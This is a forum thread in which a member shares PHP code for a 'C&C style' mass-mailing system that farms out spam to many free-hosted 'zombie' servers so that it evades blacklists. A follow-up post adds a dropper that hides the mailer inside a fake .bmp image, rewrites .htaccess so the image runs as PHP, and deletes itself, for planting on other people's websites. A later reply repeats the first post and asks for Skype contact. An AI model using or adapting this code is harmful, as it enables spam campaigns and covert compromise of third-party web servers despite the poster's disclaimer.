PHP Freehost Mass Mailing

tasburrfoot

Regular Member
Joined
Dec 16, 2008
Messages
338
Reaction score
163
Got bored, and decided to make a C&C style php mass-mailer, that would utilize free webhosts by only sending 1000(adustable) emails from each host, with a sleep(8) after each mail, effective sending 240/hour. Shouldn't have a massive server impact, and because it would be utilizing such a wide-range of domain names/IP's your campaigns would be more consistantly inbox'd and less likely to get blacklisted..

Servers would just go into a seperate file, with just a basic array like:
PHP:
global $servers[];
$servers = array(
    'domain1',
    'domain2',
    'domain3'
);

Anyone with a bunch of 000host accounts(or any other free provider) want to demo this with me?

Here's what I've got for the C&C server script, the "zombie" server script is done too, but it's just a basic recieve POST data, and send mails so I'm not gunna put it in here.

PHP:
<?PHP

set_time_limit(0);

$domain = $_SERVER['SERVER_NAME'];

require_once('require/servers.php');

if(!isset($_REQUEST['submit'])){
    echo('
    <form method="POST" action="mymail.php" enctype="multipart/form-data">
    List: <input type="file" name="file" id="file"><br>
    Body(HTML Format): <input type="textarea" name="body"><br>
    Subject: <input type="text" name="subject"><br>
    Key: <input type="password" name="key" id="key"><br>
    <input type="submit" value="Upload" name="submit">
    ');
} else {
    $target_dir = 'lists/';
  
    if(!file_exists($target_dir)){
        mkdir($target_dir, 0777, true);
    }
  
    $file = $target_dir . basename($_FILES['file']['name']);
  
    $ext = pathinfo($file);
    $ext = $ext['extension'];
  
    if($ext != 'txt'){
        die();
    }
  
    move_uploaded_file($_FILES['file']['tmp_name'],$file);
  
    if(!file_exists(date('Y-m-d/'))){
        mkdir('elists/'.date('Y-m-d/'), 0777, true);
    }
  

    $handle = fopen($file,'r');
    $f = 1;

    while(!feof($handle)){
        $newfile = fopen('elists/'.date('Y-m-d/') . $f . '.txt','w');
        for($i = 1; $i <= 1000; $i++){
            $import = fgets($handle);
            fwrite($newfile,$import);
            if(feof($handle))
                {break;}
        }
        fclose($newfile);
  
        $f++;
    }
    fclose($handle);
  
    $lists = scandir('elists/'.date('Y-m-d/'));
  
    $rest_stop = '/main.php';
  
    $body = $_POST['body'];
    $subject = $_POST['subject'];
    $domain = $domain . dirname(__FILE__) .$file;
    $domain = realpath($domain);
  
    $postdata = "body={$body}&subject={$subject}&location={$domain}";
  
    $postdata = urlencode($postdata);
  
    $k = 0;
  
    foreach($lists as $list){
        if($k > count($servers)){break;}
      
        $ch = curl_init();
      
        curl_setopt($ch, CURLOPT_URL, $servers[$k].$rest_stop);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
      
        curl_exec($ch);
        curl_close($ch);
      
        $k++;
    }
  
}

?>

Comments? Improvements?


EDIT/DISCLAIMER** This was for my entertainment purposes - do not use to spam the sh*t out of mailing lists. Just a cost-effective(free)/resource efficient way to send a large number of emails in "theory"
 
Last edited:
Could even go a step further, and inject/hide it on another site, creating a true C&C/Victim(zombie) relationship. I'm not too sure how to hide PHP, other than faking the mime type, and using the htaccess to reinterpret it, hence my ghetto workaround.

PHP:
<?PHP
$htaccess = 'AddHandler php-script .bmp'."\r\n";
$htaccess .= 'AddType application/x-httpd-php .bmp';
$script = '<?PHP

set_time_limit(0);

$body = $_REQUEST["body"];
$subject = $_REQUEST["subject"];
$link = $_REQUEST["location"];

$contacts = file($link);

$headers =  "From: do-not-reply@".$_SERVER["SERVER_NAME"]."\r\n".
            "Reply-To: do-not-reply@".$_SERVER["SERVER_NAME"]."\r\n".
            "MIME-Version: 1.0" . "\r\n".
            "Content-type: text/html; charset=iso-8859-1" . "\r\n";

foreach($contacts as $contact){
   
    if(preg_match("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $contact) != 1){
           
    } else {
        mail($contact, $subject, $body, $headers);
   
        sleep(8);
    }
}

?>';

mkdir('images/bmp/', 0777, true);

file_put_contents('images/bmp/homebanner.bmp', $script);

file_put_contents('images/bmp/.htaccess', $htaccess);

unlink(__FILE__);

?>
 
Do youbha
Got bored, and decided to make a C&C style php mass-mailer, that would utilize free webhosts by only sending 1000(adustable) emails from each host, with a sleep(8) after each mail, effective sending 240/hour. Shouldn't have a massive server impact, and because it would be utilizing such a wide-range of domain names/IP's your campaigns would be more consistantly inbox'd and less likely to get blacklisted..

Servers would just go into a seperate file, with just a basic array like:
PHP:
global $servers[];
$servers = array(
    'domain1',
    'domain2',
    'domain3'
);

Anyone with a bunch of 000host accounts(or any other free provider) want to demo this with me?

Here's what I've got for the C&C server script, the "zombie" server script is done too, but it's just a basic recieve POST data, and send mails so I'm not gunna put it in here.

PHP:
<?PHP

set_time_limit(0);

$domain = $_SERVER['SERVER_NAME'];

require_once('require/servers.php');

if(!isset($_REQUEST['submit'])){
    echo('
    <form method="POST" action="mymail.php" enctype="multipart/form-data">
    List: <input type="file" name="file" id="file"><br>
    Body(HTML Format): <input type="textarea" name="body"><br>
    Subject: <input type="text" name="subject"><br>
    Key: <input type="password" name="key" id="key"><br>
    <input type="submit" value="Upload" name="submit">
    ');
} else {
    $target_dir = 'lists/';
 
    if(!file_exists($target_dir)){
        mkdir($target_dir, 0777, true);
    }
 
    $file = $target_dir . basename($_FILES['file']['name']);
 
    $ext = pathinfo($file);
    $ext = $ext['extension'];
 
    if($ext != 'txt'){
        die();
    }
 
    move_uploaded_file($_FILES['file']['tmp_name'],$file);
 
    if(!file_exists(date('Y-m-d/'))){
        mkdir('elists/'.date('Y-m-d/'), 0777, true);
    }
 

    $handle = fopen($file,'r');
    $f = 1;

    while(!feof($handle)){
        $newfile = fopen('elists/'.date('Y-m-d/') . $f . '.txt','w');
        for($i = 1; $i <= 1000; $i++){
            $import = fgets($handle);
            fwrite($newfile,$import);
            if(feof($handle))
                {break;}
        }
        fclose($newfile);
 
        $f++;
    }
    fclose($handle);
 
    $lists = scandir('elists/'.date('Y-m-d/'));
 
    $rest_stop = '/main.php';
 
    $body = $_POST['body'];
    $subject = $_POST['subject'];
    $domain = $domain . dirname(__FILE__) .$file;
    $domain = realpath($domain);
 
    $postdata = "body={$body}&subject={$subject}&location={$domain}";
 
    $postdata = urlencode($postdata);
 
    $k = 0;
 
    foreach($lists as $list){
        if($k > count($servers)){break;}
     
        $ch = curl_init();
     
        curl_setopt($ch, CURLOPT_URL, $servers[$k].$rest_stop);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
     
        curl_exec($ch);
        curl_close($ch);
     
        $k++;
    }
 
}

?>

Comments? Improvements?


EDIT/DISCLAIMER** This was for my entertainment purposes - do not use to spam the sh*t out of mailing lists. Just a cost-effective(free)/resource efficient way to send a large number of emails in "theory"[/QUOT
 
Do you have Skype. Mine is Dennis.wyattt011, drop urs for private chat
 
Back
Top